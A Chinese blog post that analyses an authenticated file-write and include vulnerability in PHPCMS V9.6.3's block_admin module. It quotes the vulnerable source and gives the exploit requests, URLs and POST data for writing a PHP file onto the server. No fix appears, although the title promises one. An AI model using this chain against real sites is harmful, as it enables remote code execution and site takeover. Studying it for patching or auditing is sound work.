您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程

PHPCMS V9.6.3的后台漏洞分析修复方法

梁胤鸣2025-05-20 12:02:25phpcms教程已有2人查阅

导读1、利用文件包含创建任意文件getshell漏洞文件:\phpcmsv9\phpcms\modules\block\block_admin.php

1、利用文件包含创建任意文件getshell
漏洞文件:\phpcmsv9\phpcms\modules\block\block_admin.php
漏洞产生点位于265~272行:
if (@file_put_contents($filepath,$str)) {
ob_start();
include $filepath;
$html = ob_get_contents();
ob_clean();
@unlink($filepath);
}
可以看到使用file_put_contents函数将 $str 写入 $filepath 中并且包含该文件,查看$filepath和$str变量是否可控。
public function public_view() {
$id = isset($_GET['id']) && intval($_GET['id']) ? intval($_GET['id']) :exit('0');
if (!$data = $this->db->get_one(array('id'=>$id))) {
showmessage(L('nofound'));
}
if ($data['type'] == 1) {
exit('<script type="text/javascript">parent.showblock('.$id.', \''.str_replace("\r\n", '', $_POST['data']).'\')</script>');
} elseif ($data['type'] == 2) {
extract($data);
unset($data);
$title = isset($_POST['title']) ? $_POST['title'] : '';
$url = isset($_POST['url']) ? $_POST['url'] : '';
$thumb = isset($_POST['thumb']) ? $_POST['thumb'] : '';
$desc = isset($_POST['desc']) ? $_POST['desc'] : '';
$template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : '';
$data = array();
foreach ($title as $key=>$v) {
if (empty($v) || !isset($url[$key]) ||empty($url[$key])) continue;
$data[$key] = array('title'=>$v, 'url'=>$url[$key], 'thumb'=>$thumb[$key], 'desc'=>str_replace(array(chr(13), chr(43)), array('<br />', ' '), $desc[$key]));
}
$tpl = pc_base::load_sys_class('template_cache');
$str = $tpl->template_parse(new_stripslashes($template));
$filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.'block'.DIRECTORY_SEPARATOR.'tmp_'.$id.'.php';
$dir = dirname($filepath);
if(!is_dir($dir)) {
@mkdir($dir, 0777, true);
}
可以看到变量 $template 可控,跟进 new_stripslashes()函数:
/**
* 返回经stripslashes处理过的字符串或数组
* @param $string 需要处理的字符串或数组
* @return mixed
*/
function new_stripslashes($string) {
if(!is_array($string)) return stripslashes($string);
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
return $string;
}
template_parse()函数:
/**
* 解析模板
*
* @param $str 模板内容
* @return ture
*/
public function template_parse($str) {
$str = preg_replace ( "/\{template\s+(.+)\}/", "<?php include template(\\1); ?>", $str );
$str = preg_replace ( "/\{include\s+(.+)\}/", "<?php include \\1; ?>", $str );
$str = preg_replace ( "/\{php\s+(.+)\}/", "<?php \\1?>", $str );
$str = preg_replace ( "/\{if\s+(.+?)\}/", "<?php if(\\1) { ?>", $str );
$str = preg_replace ( "/\{else\}/", "<?php } else { ?>", $str );
$str = preg_replace ( "/\{elseif\s+(.+?)\}/", "<?php } elseif (\\1) { ?>", $str );
$str = preg_replace ( "/\{\/if\}/", "<?php } ?>", $str );
//for 循环
$str = preg_replace("/\{for\s+(.+?)\}/","<?php for(\\1) { ?>",$str);
$str = preg_replace("/\{\/for\}/","<?php } ?>",$str);
//++ --
$str = preg_replace("/\{\+\+(.+?)\}/","<?php ++\\1; ?>",$str);
$str = preg_replace("/\{\-\-(.+?)\}/","<?php ++\\1; ?>",$str);
$str = preg_replace("/\{(.+?)\+\+\}/","<?php \\1++; ?>",$str);
$str = preg_replace("/\{(.+?)\-\-\}/","<?php \\1--; ?>",$str);
$str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\}/", "<?php \$n=1;if(is_array(\\1)) foreach(\\1 AS \\2) { ?>", $str );
$str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\s+(\S+)\}/", "<?php \$n=1; if(is_array(\\1)) foreach(\\1 AS \\2 => \\3) { ?>", $str );
$str = preg_replace ( "/\{\/loop\}/", "<?php \$n++;}unset(\$n); ?>", $str );
$str = preg_replace ( "/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "<?php echo \\1;?>", $str );
$str = preg_replace ( "/\{\\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "<?php echo \\1;?>", $str );
$str = preg_replace ( "/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\}/", "<?php echo \\1;?>", $str );
$str = preg_replace_callback("/\{(\\$[a-zA-Z0-9_\[\]\'\"\$\x7f-\xff]+)\}/s", array($this, 'addquote'),$str);
$str = preg_replace ( "/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s", "<?php echo \\1;?>", $str );
$str = preg_replace_callback("/\{pc:(\w+)\s+([^}]+)\}/i", array($this, 'pc_tag_callback'), $str);
$str = preg_replace_callback("/\{\/pc\}/i", array($this, 'end_pc_tag'), $str);
$str = "<?php defined('IN_PHPCMS') or exit('No permission resources.'); ?>" . $str;
return $str;
}
可以看到并无对 $template 的有效过滤,从而导致 $str 可控。再看漏洞产生点,是将 $str 写入文件中包含该文件,然后再将该文件删除。那么可以构造payload:
<?php file_put_contents("phpinfo.php","<?php phpinfo();?>");
接下来寻找怎么利用该漏洞,在函数 public_view() 中,跟入get_one()函数:
/**
* 获取单条记录查询
* @param $data 需要查询的字段值[例`name`,`gender`,`birthday`]
* @param $table 数据表
* @param $where 查询条件
* @param $order 排序方式 [默认按数据库默认方式排序]
* @param $group 分组方式 [默认为空]
* @return array/null 数据查询结果集,如果不存在,则返回空
*/
public function get_one($data, $table, $where = '', $order = '', $group = '') {
$where = $where == '' ? '' : ' WHERE '.$where;
$order = $order == '' ? '' : ' ORDER BY '.$order;
$group = $group == '' ? '' : ' GROUP BY '.$group;
$limit = ' LIMIT 1';
$field = explode( ',', $data);
array_walk($field, array($this, 'add_special_char'));
$data = implode(',', $field);
$sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;
$this->execute($sql);
$res = $this->fetch_next();
$this->free_result();
return $res;
}
可以看到是查询一条数据,其 sql 语句为:
select * from phpcmsv9.block where id=$id limit 1;
并且需要返回一个数组。否则报错 nofound。因此需要先使用 add() 函数插入一条
数据并且 type 字段为 2,跟进 add() 函数:
public function add() {
$pos = isset($_GET['pos']) && trim($_GET['pos']) ? trim($_GET['pos']) : showmessage(L('illegal_operation'));
if (isset($_POST['dosubmit'])) {
$name = isset($_POST['name']) && trim($_POST['name']) ? trim($_POST['name']) : showmessage(L('illegal_operation'), HTTP_REFERER);
$type = isset($_POST['type']) && intval($_POST['type']) ? intval($_POST['type']) : 1;
//判断名称是否已经存在
if ($this->db->get_one(array('name'=>$name))) {
showmessage(L('name').L('exists'), HTTP_REFERER);
}
if ($id = $this->db->insert(array('name'=>$name, 'pos'=>$pos, 'type'=>$type, 'siteid'=>$this->siteid), true)) {
//设置权限
$priv = isset($_POST['priv']) ? $_POST['priv'] : '';
if (!empty($priv)) {
if (is_array($priv)) foreach ($priv as $v) {
if (empty($v)) continue;
$this->priv_db->insert(array('roleid'=>$v, 'blockid'=>$id, 'siteid'=>$this->siteid));
}
}
showmessage(L('operation_success'), '?m=block&c=block_admin&a=block_update&id='.$id);
} else {
showmessage(L('operation_failure'), HTTP_REFERER);
}
} else {
$show_header = $show_validator = true;
pc_base::load_sys_class('form');
$administrator = getcache('role', 'commons');
unset($administrator[1]);
include $this->admin_tpl('block_add_edit');
}
}
可以看到第10行,会将 post 数据写入 v9_block 表中,如要将数据写入表中需要满足条件:
1、$pos 不为空。
2、$dosubmit 不为空。
3、$name 不为空,并且 $type = 2。
4、$name 不能与已有的数据重复。
于是构造 url : http:// .test.com/index.php?m=block&c=block_admin&pc_hash=123456&a=add&pos=1
POST数据:dosubmit=1&name=test&type=2
这第一步访问上述地址将数据插入至v9_block表中。
可以看到 id 为4即为刚才插入的数据。接下来将payload写入文件。
构造URL:http://www.ebingou.cn/index.php?m=block&c=block_admin&a=public_view&id=4
POST数据:
template=<?php file_put_contents("phpinfo.php","<?php phpinfo();?>");
访问:
注:要想利用成功,在往v9_block表中插入数据时需要判断 $pc_hash 是否合法,所以想要利用该漏洞需先获取$pc_hash的值。而pc_hash的值登录后台即可在url中获取。

本文标签:

很赞哦! (1)

暂无内容
暂无内容

相关文章

暂无内容
暂无内容
留言与评论 (共有 0 条评论)
昵称:
匿名发表 登录账号
         
验证码: